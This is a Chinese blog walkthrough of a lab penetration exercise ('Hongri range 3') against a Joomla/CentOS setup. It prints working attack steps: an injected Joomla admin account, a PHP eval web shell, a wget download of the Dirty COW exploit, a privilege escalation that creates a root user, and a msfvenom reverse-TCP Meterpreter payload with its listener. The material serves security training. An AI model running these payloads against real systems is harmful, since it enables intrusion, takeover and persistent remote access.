红日靶场三

文章参考

https://blog.csdn.net/weixin_46684578/article/details/118685782

https://blog.csdn.net/weixin_48169878/article/details/125773366

https://cloud.tencent.com/developer/article/2016323

靶场搭建

添加一个自定义配置为

然后对出网机centos重新加载网卡

1
/ect/init.d/network restart

搭建完成

靶场实战

信息收集

本次靶场出网机为centos

直接进去获取IP得 192.168.123.41

访问发现有80端口有服务

直接上awvs扫描漏洞

同时用nmap进行端口扫描

1
nmap -A 192.168.123.41 -p-

扫描出了5个端口分别为

1
22 25 80 110 3306

awvs扫描出了配置文件泄露,泄露了数据库的用户名和密码

1
2
testuser
cvcvgjASD!@

还顺便扫出了后台地址/administrator/

image-20221118160400347

找到了后台先试试看弱口令,爆破失败

那既然3306端口是开放的,又有账户和密码那直接上数据库添加用户

使用数据库工具成功连接了数据库

找到了am2zu_users的表有一个管理员账号,但是是密文存储

通过上网查阅Joomla密码加密相关资料,发现密码是经过了password_hash($password, PASSWORD_BCRYPT);加密,并且未找到对应的解密方案

但是Joomla官方文档,上面有介绍到可以通过数据库直接插入来添加管理员账号

1
2
3
4
5
6
7
8
9
//https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F/zh-cn
//其中下面sql语句中的jos31需要换成你实际的表前缀
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');
//执行完这两条语句之后,我们就添加成功了一个管理员用户(账号:admin2,密码:secret)

成功进入后台

getshell

进入网站模板

创建文件,直接创建一个shell.php

1
<?php eval($_POST['a']); ?>

创建成功

shell.php和index.php是同一路径,因此知道index.php的路径即可

猜测路径为

1
/templates/beez3/shell.php

成功连接

尝试使用虚拟终端

查看一下PHPinfo,发现命令执行被禁用

怎么办呢,有两种方法

第一种

下载绕过disable_funtions 的payload

https://github.com/MrAnonymous-1/disable_functions

将exploit1.php上传到web服务器的指定目录下

1
2
3
POST: cmd=<command>
// <command>为要执行的系统命令
// 例如:cmd=ipconfig

第二种

/tmp/mysql/下发现一个test.txt文件

得到了账号密码直接连接ssh

1
2
wwwuser
wwwuser_123Aqx

登陆成功

权限提升

查看权限

发现权限太低只是一个普通用户

使用脏牛漏洞(CVE-2016-5195)进行提权

低于以下版本表示存在脏牛漏洞(CVE-2016-5195)

1
2
3
4
5
6
7
Centos7 /RHEL7    3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1

[工具包]https://gitcode.net/mirrors/FireFart/dirtycow

然后下载藏牛工具包,这里我们有ssh可以直接利用ftp上传,如果没有的话也可以

上传到kali,开启http服务,靶机下载解压

1
2
3
4
5
kail : python3 -m http.server 8000     

靶机:wget http://192.168.1.123:800/dirtycow.github.io-master.zip

靶机:unzip dirtycow.github.io-master.zip -d zangniu

然后执行提权脚本

1
2
3
4
5
6
7
# gcc -pthread dirty.c -o dirty -lcrypt  #编译

#./dirty root #因为已经存在/tmp/passwd.bak 会失败

#rm -f /tmp/passwd.bak

#./dirty root #root 为密码, ./dirty 密码

执行结束之后创建了一个新用户firefart,密码为root,这个用户拥有root权限

内网渗透

通过icmp方式查看内网主机存活情况

1
for i in 192.168.93.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i is alived; fi; done

使用msf建立监听

方法1

在msf上生成木马传到目标机器执行上线

生成木马

1
2
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.169.80.128 LPORT=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > shell.elf

然后用ssh上传到centos

然后在msf开启监听

1
2
3
4
5
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost <MSF_IP>
msf6 exploit(multi/handler) > set lport <MSF_Port>
msf6 exploit(multi/handler) > exploit

开启监听之后 在centos执行shell.elf即可建立监听

方法2

一条命令上线


红日靶场三
http://example.com/2022/11/18/红日靶场三/
作者
QY
发布于
2022年11月18日
许可协议